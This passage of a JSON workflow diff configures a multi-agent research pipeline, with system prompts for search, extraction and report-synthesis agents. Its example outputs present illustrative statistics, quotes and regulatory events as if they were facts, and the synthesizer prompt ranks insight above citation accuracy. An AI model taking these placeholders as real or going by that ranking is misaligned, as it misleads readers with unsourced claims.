POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n \n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n \n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n \n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n \n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n ",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Deep Research Agent"
+ },
+ "dragging": false,
+ "id": "Agent:NewPumasLick",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 349.221504973113,
+ "y": 187.54407956980737
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n \n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-plus@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n \n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n \n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n \n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n \n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n \n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.",
+ "temperature": 0.2,
+ "temperatureEnabled": false,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Web Search Specialist"
+ },
+ "dragging": false,
+ "id": "Agent:FreeDucksObey",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 222.58483776738626,
+ "y": 358.6838806452889
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n \n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-auto@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n \n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n \n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n \n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n \n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n \n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n \n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n \n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. ",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Content Deep Reader"
+ },
+ "dragging": false,
+ "id": "Agent:WeakBoatsServe",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 528.1805592730606,
+ "y": 336.88601989245177
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "\nResearch Synthesizer \u2014 Integration specialist focused on weaving multi-agent findings into comprehensive, strategically valuable reports with actionable insights.\n \n\n\n\u2022 **Multi-source integration**: Cross-validate and correlate findings from 8-10 sources minimum\n\u2022 **Insight generation**: Extract 15-20 strategic insights with deep analysis\n\u2022 **Content expansion**: Transform brief data points into comprehensive strategic narratives\n\u2022 **Deep analysis**: Expand each finding with implications, examples, and context\n\u2022 **Synthesis depth**: Generate multi-layered analysis connecting micro-findings to macro-trends\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-128k@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Research Synthesizer working as part of a research team. Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n \n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n \n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n \n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n \n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n \n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern 